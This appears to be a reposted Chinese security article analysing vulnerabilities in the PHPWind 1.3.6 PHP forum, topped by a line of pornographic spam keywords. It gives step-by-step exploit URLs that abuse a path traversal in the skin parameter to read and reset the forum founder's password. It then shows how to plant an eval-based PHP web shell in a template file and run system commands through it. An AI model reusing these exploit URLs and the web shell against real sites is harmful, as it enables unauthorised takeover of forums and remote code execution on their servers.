欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

PHPWIND1.3.6論壇漏洞分析

  發(fā)布時(shí)間:2011-03-11 12:11:54   作者:佚名   我要評論
  PHPWIND 論壇是一款流行的PHP 論壇,界面美觀,功能也比較強(qiáng)大。但大家仔細(xì)看一下會(huì)發(fā)現(xiàn)不論是從界面功能還是代碼風(fēng)格,它和 DISCUZ 都非常相似,具體原因我想也就不用說了,畢竟 DISCUZ 出來比它要早很多。

  PHPWIND 論壇是一款流行的PHP 論壇,界面美觀,功能也比較強(qiáng)大。但大家仔細(xì)看一下會(huì)發(fā)現(xiàn)不論是從界面功能還是代碼風(fēng)格,它和 DISCUZ 都非常相似,具體原因我想也就不用說了,畢竟 DISCUZ 出來比它要早很多。但安全上它沒有繼承 DISCUZ 的優(yōu)點(diǎn), DISCUZ 論壇安全性非常好,而且商家也對此非常重視安全問題,國內(nèi)論壇中不論從功能還是安全 , 第一非DISCUZ 莫屬。PHPWIND 雖然代碼嚴(yán)謹(jǐn),邏輯清楚,但還是有一些漏洞,而且還相當(dāng)嚴(yán)重。

  一 skin 變量未過濾導(dǎo)致管理員密碼更改

  廢話少說,我們來分析漏洞。漏洞代碼如下 (header.php) :

  !function_exists('readover') && exit('Forbidden');

  if (!$skin) $skin=$db_defaultstyle;

  if(file_exists(R_P."data/style/$skin.php")){

  include_once(R_P."data/style/$skin.php");

  }else{

  include_once(R_P."data/style/wind.php");

  }

  $yeyestyle=='no' ? $i_table="bgcolor=$tablecolor" : $i_table='class=i_table';

  if($groupid=='guest' && $db_regpopup=='1'){

  $head_pop='head_pop';

  } else{

  $head_gotmsg=$winddb['newpm']==1 ? ' 您有新消息 ':' 短消息 ';

  }

  require_once(PrintEot('css'));

  require_once(PrintEot('header'));

  ?>

  其中 $skin 變量是我們提交的,在運(yùn)行到這里之前,只有一個(gè)地方處理過 $skin 變量:

  $_COOKIE['skinco'] && empty($skin) && $skin=$_COOKIE['skinco'];

  語句判斷 COOKIE 中是否已經(jīng)包含 skinco 的信息,如果有了,就取得 COOKIE 中的值,這是處理個(gè)人頁面風(fēng)格用的。但如果我們的 COOKIE 中沒有這個(gè)值 , 那么我們提交的 skin 變量就會(huì)一點(diǎn)不變的傳到上面的漏洞代碼。有人問,如果系統(tǒng)關(guān)了 register_globals 會(huì)怎么樣,關(guān)了也沒關(guān)系。

  if(!ini_get('register_globals') || !get_magic_quotes_gpc()){

  @extract($_POST,EXTR_SKIP);

  @extract($_GET,EXTR_SKIP);

  @extract($_COOKIE,EXTR_SKIP);

  @extract($_FILES,EXTR_SKIP);

  }

  系統(tǒng)在 global.php 中又給釋放了。所以我們不管是用 GET 方法或者 POST 方法都可以把構(gòu)造好的 SKIN 變量傳給程序。那傳給程序有什么用呢?這是重點(diǎn)!

  我們看這段代碼:

  if(file_exists(R_P."data/style/$skin.php")){

  include_once(R_P."data/style/$skin.php");

  }…

  含義是如果( R_P.”data/style/$skin.php” )文件存在就把它包含進(jìn)來,我也不分析有幾種用法了,我直接給出我最簡單危害最大的利用方法。

  我們把 skin 的值設(shè)為 ”../../admin/manager” ,那就變成了 R_P.”data/style/../../admin/manager.php”, 很顯然,這是論壇管理用戶的一個(gè)程序,存在而且可執(zhí)行。這個(gè)程序是專門用來修改 sql_config.php 的,這里面都是重要數(shù)據(jù),包括論壇創(chuàng)始人的用戶名和密碼。我們只要構(gòu)造好就可以改它的密碼,直接登陸后臺(tái)管理。在改之前我們可以先查看創(chuàng)始人的用戶名。

  我給出查看的方法,大家可以比對論壇程序自己分析一下,我就不在贅述了。

  http://localhost/phpwind/faq.php?skin=../../admin/manager&tplpath=admin

  上面是我機(jī)子上的截圖,其中 tplpath 變量非常重要,必須是 admin ,它是一個(gè) template 路徑,參數(shù)不對就不會(huì)顯示了。

  好我們看了知道了用戶名,就可以改它的密碼了。

  http://localhost/phpwind/faq.php?skin=../../admin/manager&username=admin&password=xiaohua&check_pwd=xiaohua&action=go

  上面的幾個(gè)參數(shù)的含義大家一看就明白,那個(gè) username 必須添上面看到的用戶名,密碼自己設(shè),至于為什么要按上面的方法構(gòu)造,其實(shí)很簡單 manager.php 需要哪些變量我們就提交哪些變量,不需要的我們不管。上面的變量是它所需要的,所以我們就提交這些變量,注意上面的 action 必須有值。提交后系統(tǒng)什么都不顯示,沒關(guān)系,我們再用第一次的方法就會(huì)發(fā)現(xiàn)兩次密碼不一樣,證明我們改成功了。如圖 2 所示:

  密碼改了,我們就可以從管理頁面登陸了。

  http://localhost/phpwind/admin.php

  二 后臺(tái)利用 上傳 SHELL

  本來改了管理員密碼已經(jīng)能控制論壇了,但我我覺得不傳 SHELL 總覺得事情只做了一半。如何上傳 SHELL ,這就要用到后臺(tái)的功能了。 PHPWIND 不知是想給管理員非常大的權(quán)限還是認(rèn)為沒有人有能力進(jìn)入后臺(tái),后臺(tái)的權(quán)利真是大的驚人。其實(shí)我們不靠上面的方法,用跨站手段得到管理員密碼也不難,不知寫論壇的人是怎么想的。

  好,我就隨便揀一處危害比較大的地方給大家分析一下,分析一下風(fēng)格模板設(shè)置那個(gè)地方。

  點(diǎn)一下左邊的連接,右邊會(huì)顯示 /template/wind/css.htm 。

  系統(tǒng)提供的功能簡化理解就是可以任意編輯這個(gè) CSS 文件,為論壇的界面做個(gè)性化設(shè)置,而且論壇運(yùn)行的時(shí)候會(huì) include 這個(gè) css 文件,雖然它的擴(kuò)展名是 .htm ,但是照樣會(huì)和其他 PHP 文件一樣運(yùn)行。如果我們能象這個(gè) css.htm 文件寫一些 PHP 代碼,就相當(dāng)于我們寫一個(gè) SHELL ,是不是很簡單。篇幅有限,我直接給出利用方法。把那個(gè)右邊的 textarea 里面的換成下面的,然后點(diǎn)提交就行了。

  eval($_GET[myphpcode]);

  ?>

  大家最好按上面的構(gòu)造,當(dāng)然也可以自己構(gòu)造,不過上面的方法我做過實(shí)驗(yàn),成功率很高。

  保存之后,用下面的方法就可以利用了。

  http://localhost/phpwind/faq.php?myphpcode=echo%20system(dir);exit ;

  可以運(yùn)行其它PHP語句,在此不在贅述。

  (本文由責(zé)任編輯 pasu 整理發(fā)布)

相關(guān)文章

最新評論